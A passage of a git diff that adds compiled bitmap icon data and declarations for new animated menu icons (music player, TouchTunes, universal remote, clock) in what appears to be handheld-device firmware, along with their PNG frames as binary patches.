{0x00,0x20,0x01,0xC0,0x00,0x22,0x11,0x25,0x29,0xD8,0x06,0x16,0x1A,0xD9,0x26,0xD8,0x06,0xD4,0x0A,0x12,0x12,0xEA,0x15,0xC5,0x28,0x02,0x10,0x02,0x10,}; const uint8_t _A_Debug_14_2[] = {0x00,0x20,0x01,0xC0,0x00,0x20,0x01,0x24,0x09,0xDA,0x16,0x11,0x22,0xDC,0x0E,0xDA,0x16,0xD9,0x26,0x14,0x0A,0xF2,0x13,0xD1,0x22,0x08,0x04,0x06,0x18,}; @@ -363,6 +379,13 @@ const uint8_t _A_Infrared_14_4[] = {0x01,0x00,0x0e,0x00,0x00,0x5f,0x82,0x02,0x05 const uint8_t _A_Infrared_14_5[] = {0x01,0x00,0x15,0x00,0x00,0x2f,0xc2,0x07,0x08,0x82,0x01,0x47,0xc1,0x01,0x05,0x98,0x14,0x41,0xa3,0xf8,0x83,0x80,0x47,0xff,0x3f,}; const uint8_t* const _A_Infrared_14[] = {_A_Infrared_14_0,_A_Infrared_14_1,_A_Infrared_14_2,_A_Infrared_14_3,_A_Infrared_14_4,_A_Infrared_14_5}; +const uint8_t _A_MusicPlayer_14_0[] = {0x01,0x00,0x17,0x00,0x00,0x1e,0x02,0x01,0xc0,0x80,0xf0,0x20,0x74,0x08,0x15,0x02,0x00,0x01,0x3b,0x84,0x02,0xf0,0x01,0x29,0x80,0x5c,0x80,}; +const uint8_t _A_MusicPlayer_14_1[] = {0x01,0x00,0x16,0x00,0x80,0x41,0x20,0x10,0xe8,0x04,0x7a,0x01,0x12,0x80,0x40,0x80,0x27,0x80,0x81,0xf0,0x00,0x25,0x80,0x80,0x86,0x94,}; +const uint8_t _A_MusicPlayer_14_2[] = {0x01,0x00,0x13,0x00,0x00,0x34,0x82,0x03,0x30,0x81,0xcc,0x20,0x51,0x08,0x00,0x05,0x63,0x90,0x08,0xf0,0x04,0xa1,0x80,}; +const uint8_t _A_MusicPlayer_14_3[] = {0x01,0x00,0x16,0x00,0x82,0x40,0x21,0xd0,0x08,0xf4,0x02,0x25,0x00,0x81,0x00,0x52,0x07,0x20,0x81,0xcc,0x00,0x23,0x01,0x90,0x06,0xd4,}; +const uint8_t _A_MusicPlayer_14_4[] = {0x01,0x00,0x15,0x00,0x00,0x2c,0x82,0x01,0x70,0x80,0x7c,0x20,0x19,0x08,0x04,0x40,0x02,0x91,0xc8,0x04,0x78,0x02,0x50,0xc8,0x00,}; +const uint8_t* const _A_MusicPlayer_14[] = {_A_MusicPlayer_14_0,_A_MusicPlayer_14_1,_A_MusicPlayer_14_2,_A_MusicPlayer_14_3,_A_MusicPlayer_14_4}; + const uint8_t _A_NFC_14_0[] = {0x00,0x00,0x08,0x00,0x10,0x00,0x12,0x00,0x22,0x42,0x24,0x87,0x24,0x8D,0x24,0x99,0x24,0xF1,0x24,0x62,0x24,0x00,0x22,0x00,0x12,0x00,0x10,0x00,0x08,}; const uint8_t _A_NFC_14_1[] = {0x01,0x00,0x1a,0x00,0x80,0x42,0x20,0x11,0x00,0x09,0x48,0x28,0x52,0x0c,0x3c,0x83,0x1b,0x20,0xcc,0xc8,0x3e,0x32,0x0b,0x14,0x80,0x1a,0x21,0x34,0x84,0x00,}; const uint8_t _A_NFC_14_2[] = {0x01,0x00,0x10,0x00,0x00,0x3d,0x0a,0x01,0x87,0x80,0x63,0x60,0x19,0x98,0x07,0xc6,0x01,0x62,0x09,0xc0,}; @@ -423,12 +446,54 @@ const uint8_t _A_Tamagotchi_14_4[] = {0x00,0xF0,0x03,0x08,0x06,0x04,0x0C,0x04,0x const uint8_t _A_Tamagotchi_14_5[] = {0x00,0xF0,0x03,0x08,0x06,0x04,0x0C,0x04,0x0C,0xF2,0x19,0x5A,0x1A,0xA9,0x32,0x49,0x33,0xF1,0x31,0x01,0x30,0x52,0x39,0x02,0x18,0x0C,0x0E,0xF0,0x07,}; const uint8_t* const _A_Tamagotchi_14[] = {_A_Tamagotchi_14_0,_A_Tamagotchi_14_1,_A_Tamagotchi_14_2,_A_Tamagotchi_14_3,_A_Tamagotchi_14_4,_A_Tamagotchi_14_5}; +const uint8_t _A_TouchTunes_14_0[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t _A_TouchTunes_14_1[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t _A_TouchTunes_14_2[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t _A_TouchTunes_14_3[] = {0x01,0x00,0x1a,0x00,0xd0,0x40,0x7f,0x10,0x70,0x08,0xc2,0x20,0x91,0x08,0x10,0x0c,0x60,0x90,0x88,0x64,0x32,0x30,0x09,0x2c,0xc4,0x18,0x26,0x78,0x08,0x08,}; +const uint8_t _A_TouchTunes_14_4[] = {0x00,0x40,0x01,0xF8,0x07,0xF8,0x07,0x18,0x04,0x10,0x06,0x08,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x06,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; +const uint8_t _A_TouchTunes_14_5[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x18,0x06,0x10,0x02,0x08,0x04,0x08,0x04,0x10,0x02,0x18,0x06,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; +const uint8_t _A_TouchTunes_14_6[] = {0x00,0x00,0x01,0xF0,0x03,0xF8,0x07,0x18,0x04,0x10,0x02,0x18,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x02,0xF8,0x06,0xF8,0x07,0xF0,0x07,0x00,0x00,}; +const uint8_t _A_TouchTunes_14_7[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x00,0x04,0x10,0x04,0x08,0x04,0x0C,0x0C,0x0C,0x0C,0x18,0x04,0x00,0x04,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; +const uint8_t _A_TouchTunes_14_8[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x08,0x04,0x0C,0x0C,0x0A,0x1C,0x0E,0x18,0x08,0x0C,0x48,0x00,0xD8,0x06,0xF8,0x07,0xF0,0x03,0x40,0x00,}; +const uint8_t _A_TouchTunes_14_9[] = {0x00,0x20,0x02,0xF8,0x07,0xF8,0x07,0x08,0x04,0x00,0x04,0x0C,0x0C,0x0B,0x34,0x0E,0x1C,0x0C,0x0C,0xE0,0x01,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; +const uint8_t _A_TouchTunes_14_10[] = {0x00,0xA0,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x08,0x00,0x0C,0x0C,0x0B,0x34,0x0A,0x14,0x0C,0x0C,0xF0,0x01,0x98,0x05,0xF8,0x07,0xF8,0x07,0x40,0x00,}; +const uint8_t _A_TouchTunes_14_11[] = {0x00,0xA0,0x01,0xF8,0x07,0xF8,0x07,0x00,0x00,0x00,0x00,0x0E,0x0C,0x0A,0x34,0x0B,0x14,0x0C,0x0C,0xE0,0x01,0x98,0x05,0xF8,0x07,0xD8,0x07,0x60,0x00,}; +const uint8_t _A_TouchTunes_14_12[] = {0x00,0xA0,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x00,0x0C,0x0C,0x0A,0x14,0x0A,0x1C,0x0C,0x0C,0xE0,0x01,0x98,0x05,0xF8,0x07,0xD8,0x07,0x60,0x00,}; +const uint8_t _A_TouchTunes_14_13[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; +const uint8_t _A_TouchTunes_14_14[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; +const uint8_t _A_TouchTunes_14_15[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; +const uint8_t _A_TouchTunes_14_16[] = {0x00,0x60,0x02,0xF8,0x07,0xF8,0x07,0x00,0x04,0x04,0x08,0x0C,0x0C,0x0A,0x34,0x0A,0x14,0x0C,0x0C,0xE8,0x05,0x98,0x05,0xF8,0x07,0xF8,0x07,0x80,0x00,}; +const uint8_t _A_TouchTunes_14_17[] = {0x00,0xA0,0x01,0xF8,0x07,0xF8,0x07,0x00,0x00,0x04,0x08,0x0C,0x0C,0x0A,0x14,0x0A,0x1C,0x0C,0x0C,0xE0,0x01,0x98,0x06,0xF8,0x07,0xD8,0x07,0x60,0x00,}; +const uint8_t _A_TouchTunes_14_18[] = {0x00,0x20,0x02,0xF8,0x07,0xF8,0x07,0x08,0x04,0x08,0x04,0x0E,0x0C,0x0A,0x34,0x0B,0x14,0x0C,0x0C,0xE4,0x03,0xD8,0x06,0xF8,0x07,0xF8,0x07,0x00,0x00,}; +const uint8_t _A_TouchTunes_14_19[] = {0x00,0x00,0x00,0xF0,0x07,0xF8,0x07,0x18,0x04,0x04,0x08,0x0E,0x1C,0x0B,0x34,0x0A,0x14,0x0C,0x0C,0xE0,0x03,0xF8,0x06,0xF8,0x07,0xF0,0x07,0x00,0x00,}; +const uint8_t _A_TouchTunes_14_20[] = {0x00,0x00,0x01,0xF0,0x03,0xF8,0x07,0x18,0x04,0x04,0x00,0x0C,0x0C,0x0B,0x34,0x0B,0x34,0x0C,0x0C,0xE0,0x05,0xF8,0x06,0xF8,0x07,0xF0,0x03,0x00,0x00,}; +const uint8_t _A_TouchTunes_14_21[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x10,0x00,0x08,0x04,0x0C,0x0C,0x0C,0x0C,0x0E,0x0C,0x08,0x04,0x88,0x04,0xF0,0x02,0xF8,0x07,0xF0,0x03,0x00,0x00,}; +const uint8_t _A_TouchTunes_14_22[] = {0x00,0x00,0x00,0xF8,0x07,0xF8,0x07,0x00,0x00,0x18,0x04,0x08,0x04,0x0C,0x0C,0x08,0x04,0x08,0x04,0x00,0x04,0xD8,0x02,0xF8,0x07,0xF0,0x03,0x00,0x00,}; +const uint8_t _A_TouchTunes_14_23[] = {0x01,0x00,0x14,0x00,0xa0,0x40,0x7f,0x10,0x70,0x08,0x81,0xc6,0x21,0x02,0x84,0x41,0x00,0x2a,0x09,0x1e,0xc4,0x18,0x26,0xa0,}; +const uint8_t _A_TouchTunes_14_24[] = {0x01,0x00,0x17,0x00,0x90,0x40,0xbf,0x10,0x70,0x08,0xc2,0x20,0x91,0x08,0x14,0x62,0x0c,0x05,0x10,0x3a,0xe6,0x20,0xa1,0x33,0xa0,0x40,0x00,}; +const uint8_t _A_TouchTunes_14_25[] = {0x01,0x00,0x1a,0x00,0xb0,0x40,0x7f,0x10,0x70,0x08,0xc2,0x20,0x91,0x88,0x34,0x62,0x04,0x05,0x10,0x39,0x40,0xa2,0x10,0x6c,0xc4,0x14,0x26,0x78,0x08,0x00,}; +const uint8_t _A_TouchTunes_14_26[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x10,0x06,0x08,0x04,0x0C,0x0C,0x08,0x04,0x18,0x02,0x10,0x06,0x98,0x04,0xF8,0x07,0xF8,0x07,0x80,0x02,}; +const uint8_t _A_TouchTunes_14_27[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t _A_TouchTunes_14_28[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t _A_TouchTunes_14_29[] = {0x00,0x60,0x01,0xF8,0x07,0xF8,0x07,0x08,0x04,0x18,0x02,0x08,0x04,0x04,0x08,0x0C,0x0C,0x18,0x04,0x10,0x02,0x98,0x06,0xF8,0x07,0xF8,0x07,0x80,0x01,}; +const uint8_t* const _A_TouchTunes_14[] = {_A_TouchTunes_14_0,_A_TouchTunes_14_1,_A_TouchTunes_14_2,_A_TouchTunes_14_3,_A_TouchTunes_14_4,_A_TouchTunes_14_5,_A_TouchTunes_14_6,_A_TouchTunes_14_7,_A_TouchTunes_14_8,_A_TouchTunes_14_9,_A_TouchTunes_14_10,_A_TouchTunes_14_11,_A_TouchTunes_14_12,_A_TouchTunes_14_13,_A_TouchTunes_14_14,_A_TouchTunes_14_15,_A_TouchTunes_14_16,_A_TouchTunes_14_17,_A_TouchTunes_14_18,_A_TouchTunes_14_19,_A_TouchTunes_14_20,_A_TouchTunes_14_21,_A_TouchTunes_14_22,_A_TouchTunes_14_23,_A_TouchTunes_14_24,_A_TouchTunes_14_25,_A_TouchTunes_14_26,_A_TouchTunes_14_27,_A_TouchTunes_14_28,_A_TouchTunes_14_29}; + const uint8_t _A_U2F_14_0[] = {0x00,0x00,0x00,0x00,0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t _A_U2F_14_1[] = {0x00,0x00,0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t _A_U2F_14_2[] = {0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0x08,0x00,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t _A_U2F_14_3[] = {0x00,0x00,0x00,0xE0,0x01,0x10,0x02,0x08,0x04,0x08,0x04,0xFE,0x1F,0x01,0x20,0xD5,0x2D,0x55,0x25,0x15,0x2D,0x95,0x24,0xDD,0x25,0x01,0x20,0xFE,0x1F,}; const uint8_t* const _A_U2F_14[] = {_A_U2F_14_0,_A_U2F_14_1,_A_U2F_14_2,_A_U2F_14_3}; +const uint8_t _A_UniversalRemote_14_0[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xb2,0xa0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; +const uint8_t _A_UniversalRemote_14_1[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x3c,0x10,0x10,0x08,0x81,0xc4,0x06,0x31,0x68,0xd4,0x56,0x54,0x01,0x10,0x28,0x83,0x56,0x41,0x01,0x0c,0x88,}; +const uint8_t _A_UniversalRemote_14_2[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xb3,0xa0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; +const uint8_t _A_UniversalRemote_14_3[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xb2,0xa0,0x08,0x81,0x44,0x1a,0xa0,0x11,0x0c,0x88,}; +const uint8_t _A_UniversalRemote_14_4[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0x8b,0x46,0xa2,0xf2,0xa0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; +const uint8_t _A_UniversalRemote_14_5[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x3c,0x10,0x10,0x08,0x81,0xc4,0x06,0x31,0x68,0xd4,0x56,0x54,0x01,0x10,0x28,0x83,0x56,0x41,0x01,0x0c,0x88,}; +const uint8_t _A_UniversalRemote_14_6[] = {0x01,0x00,0x17,0x00,0xe0,0x40,0x24,0x10,0x1f,0x04,0x04,0x0e,0x20,0x31,0xfb,0x46,0xfe,0xb2,0xb0,0x08,0x81,0x44,0x1a,0xa1,0x51,0x0c,0x88,}; +const uint8_t* const _A_UniversalRemote_14[] = {_A_UniversalRemote_14_0,_A_UniversalRemote_14_1,_A_UniversalRemote_14_2,_A_UniversalRemote_14_3,_A_UniversalRemote_14_4,_A_UniversalRemote_14_5,_A_UniversalRemote_14_6}; + + const uint8_t _A_iButton_14_0[] = {0x00,0x00,0x1C,0x00,0x3E,0x00,0x35,0x80,0x3A,0x78,0x15,0x84,0x0A,0x32,0x05,0x49,0x02,0x85,0x02,0x85,0x02,0x49,0x02,0x32,0x01,0x84,0x00,0x78,0x00,}; const uint8_t _A_iButton_14_1[] = {0x00,0x00,0x00,0x00,0x38,0x00,0x26,0x80,0x21,0xE0,0x10,0x38,0x0D,0x6C,0x03,0x56,0x01,0x2B,0x01,0x97,0x00,0x4D,0x00,0x21,0x00,0x1E,0x00,0x00,0x00,}; const uint8_t _A_iButton_14_2[] = {0x01,0x00,0x1a,0x00,0x00,0x24,0xc2,0x01,0x2c,0x80,0x48,0xfb,0x11,0x89,0x64,0x1b,0x2d,0x01,0xa5,0xc0,0x24,0xb0,0x08,0x94,0x02,0x13,0x00,0x83,0x85,0x88,}; @@ -648,11 +713,13 @@ const Icon A_Levelup1_128x64 = {.width=128,.height=64,.frame_count=11,.frame_rat const Icon A_Levelup2_128x64 = {.width=128,.height=64,.frame_count=11,.frame_rate=2,.frames=_A_Levelup2_128x64}; const Icon I_125_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_125_10px}; const Icon I_Nfc_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_Nfc_10px}; +const Icon I_back_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_back_10px}; const Icon I_badusb_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_badusb_10px}; const Icon I_ble_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_ble_10px}; const Icon I_dir_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_dir_10px}; const Icon I_ibutt_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_ibutt_10px}; const Icon I_ir_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_ir_10px}; +const Icon I_loading_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_loading_10px}; const Icon I_sub1_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_sub1_10px}; const Icon I_u2f_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_u2f_10px}; const Icon I_unknown_10px = {.width=10,.height=10,.frame_count=1,.frame_rate=0,.frames=_I_unknown_10px}; @@ -732,11 +799,13 @@ const Icon I_KeySave_24x11 = {.width=24,.height=11,.frame_count=1,.frame_rate=0, const Icon A_125khz_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_125khz_14}; const Icon A_BadUsb_14 = {.width=14,.height=14,.frame_count=11,.frame_rate=3,.frames=_A_BadUsb_14}; const Icon A_Bluetooth_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Bluetooth_14}; +const Icon A_Clock_14 = {.width=14,.height=14,.frame_count=8,.frame_rate=3,.frames=_A_Clock_14}; const Icon A_Debug_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_Debug_14}; const Icon A_FileManager_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_FileManager_14}; const Icon A_GPIO_14 = {.width=14,.height=14,.frame_count=8,.frame_rate=3,.frames=_A_GPIO_14}; const Icon A_Games_14 = {.width=14,.height=14,.frame_count=9,.frame_rate=3,.frames=_A_Games_14}; const Icon A_Infrared_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Infrared_14}; +const Icon A_MusicPlayer_14 = {.width=14,.height=14,.frame_count=5,.frame_rate=3,.frames=_A_MusicPlayer_14}; const Icon A_NFC_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_NFC_14}; const Icon A_Passport_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_Passport_14}; const Icon A_Plugins_14 = {.width=14,.height=14,.frame_count=9,.frame_rate=3,.frames=_A_Plugins_14}; @@ -744,7 +813,9 @@ const Icon A_Power_14 = {.width=14,.height=14,.frame_count=1,.frame_rate=3,.fram const Icon A_Settings_14 = {.width=14,.height=14,.frame_count=10,.frame_rate=3,.frames=_A_Settings_14}; const Icon A_Sub1ghz_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Sub1ghz_14}; const Icon A_Tamagotchi_14 = {.width=14,.height=14,.frame_count=6,.frame_rate=3,.frames=_A_Tamagotchi_14}; +const Icon A_TouchTunes_14 = {.width=14,.height=14,.frame_count=30,.frame_rate=3,.frames=_A_TouchTunes_14}; const Icon A_U2F_14 = {.width=14,.height=14,.frame_count=4,.frame_rate=3,.frames=_A_U2F_14}; +const Icon A_UniversalRemote_14 = {.width=14,.height=14,.frame_count=7,.frame_rate=3,.frames=_A_UniversalRemote_14}; const Icon A_iButton_14 = {.width=14,.height=14,.frame_count=7,.frame_rate=3,.frames=_A_iButton_14}; const Icon I_Detailed_chip_17x13 = {.width=17,.height=13,.frame_count=1,.frame_rate=0,.frames=_I_Detailed_chip_17x13}; const Icon I_Medium_chip_22x21 = {.width=22,.height=21,.frame_count=1,.frame_rate=0,.frames=_I_Medium_chip_22x21}; diff --git a/assets/compiled/assets_icons.h b/assets/compiled/assets_icons.h index 64cd3d36d..1c08545bf 100644 --- a/assets/compiled/assets_icons.h +++ b/assets/compiled/assets_icons.h @@ -7,11 +7,13 @@ extern const Icon A_Levelup1_128x64; extern const Icon A_Levelup2_128x64; extern const Icon I_125_10px; extern const Icon I_Nfc_10px; +extern const Icon I_back_10px; extern const Icon I_badusb_10px; extern const Icon I_ble_10px; extern const Icon I_dir_10px; extern const Icon I_ibutt_10px; extern const Icon I_ir_10px; +extern const Icon I_loading_10px; extern const Icon I_sub1_10px; extern const Icon I_u2f_10px; extern const Icon I_unknown_10px; @@ -91,11 +93,13 @@ extern const Icon I_KeySave_24x11; extern const Icon A_125khz_14; extern const Icon A_BadUsb_14; extern const Icon A_Bluetooth_14; +extern const Icon A_Clock_14; extern const Icon A_Debug_14; extern const Icon A_FileManager_14; extern const Icon A_GPIO_14; extern const Icon A_Games_14; extern const Icon A_Infrared_14; +extern const Icon A_MusicPlayer_14; extern const Icon A_NFC_14; extern const Icon A_Passport_14; extern const Icon A_Plugins_14; @@ -103,7 +107,9 @@ extern const Icon A_Power_14; extern const Icon A_Settings_14; extern const Icon A_Sub1ghz_14; extern const Icon A_Tamagotchi_14; +extern const Icon A_TouchTunes_14; extern const Icon A_U2F_14; +extern const Icon A_UniversalRemote_14; extern const Icon A_iButton_14; extern const Icon I_Detailed_chip_17x13; extern const Icon I_Medium_chip_22x21; diff --git a/assets/icons/Archive/back_10px.png b/assets/icons/Archive/back_10px.png new file mode 100644 index 0000000000000000000000000000000000000000..008efe82fa129f55c8efa77688dd507f31398896 GIT binary patch literal 154 zcmeAS@N?(olHy`uVBq!ia0vp^AT}2V6Od#Ih`sfGge++G4X{LmR$r2S$euShDcma{&W9q1G|A@v4nS_xAT(=AqI)BoYRaGO@;Li wag`sfGge++QC**pItze8KAtX)ArhBs`vdt77;ren`<{QJxM$1n6@^=3kBM_gs5bkj zOgNacP$Dkno^tQ4ONX;p$w=sbzP$Pyzt8HuHJfiox2e6^5wrUCr{B&G7(ZT+pZ{3J RO%!M@gQu&X%Q~loCIH;wIT`=} literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_00_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_00_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..d6c97146d818a4eb321bfdc31bb1e4823502294c GIT binary patch literal 470 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX>w~ag8WR&d<$F z%`0JW_jFSzN-fT;N=;G7&r`@KDJdwn($`O|O3zHw11i#oNIocd1q>1fRgl({#FA92 zCk1w@};-9yoko1c=IR*74K_qw1Ypaup{ LS3j3^P614Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_02_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_02_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..479fbd58b591c8277f06ec1225ee29ee095c8564 GIT binary patch literal 411 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD-F@2(Wt#qtYOxn1c`=+>W)9>T8Sv76t0@EFj@bBU==g} z#k-p;nsnwJIO(`us6>?gXponqfkq8qVa>GfXPZ8Yg|OP5`L6#%zP9v_X1w#a-^-JK zS{~Zx*0(Az^YyC7g{GcMPQL2cac-KRpy277rbR1l7}||a&YUNEg-!1n$^K^oaDR8A6{26`zZuLQCH&4rH({emZfX-Ddag8WRNi0dV zN-jzTQVd20Mn<{@rn-hEAqJ*a#>Q5rrrHJuRzURm)jbpqx%nxXX_dG&c&`ge0%~CJ MboFyt=akR{00vu%od5s; literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_03_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_03_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..1ece97a6f2ea99c186f3abaf446df51e4131a8ed GIT binary patch literal 411 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x@y*we)^gyXvDxs6^ zX1}o7BUm1N#M;7y%TXZdv!qIUvy78f{Net`#(VSiE#6u$DLTO$_B-0-X?9wz`5}MZ z;y*?G?|Frm&7SrxcUI*ZId-0TtCW?d-R|hKdAa7?@fa8(W#0Y8x0>0nz7I_fRzC=BH$)RpQp*y)GyTsDZ)L L)z4*}Q$iB}Q}~Lk literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_04_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_04_delay-0.04s.png new file mode 100644 index 0000000000000000000000000000000000000000..d85fa6ebca3cf45527524850e696081f1aadb738 GIT binary patch literal 401 zcmeAS@N?(olHy`uVBq!ia0vp^d?3sLBp9rei+F()OS+@4BLl<6e(pbstU$g(vPY0F z14ES>14Ba#1H&(%P{RubhEf9thF1wdT{9RM#0%!^3bX-AFeQ1ryD&U4#Q3R0P7x?H)6>N`%O z`W>G#!(83(tc_vbs!5w}xfq3Ityp_PqK$8tfy&~l_yb8%ORsc080_lbw%+>5?ej+} z_WW7lyr*9M`Gn^WZ5-dbl`}kUs(<6Cx9{TC?`A+ps+PD$l%ynG literal 0 HcmV?d00001 diff --git a/assets/icons/MainMenu/TouchTunes_14/frame_05_delay-0.04s.png b/assets/icons/MainMenu/TouchTunes_14/frame_05_delay-0.04s.png new file mode 100644 index 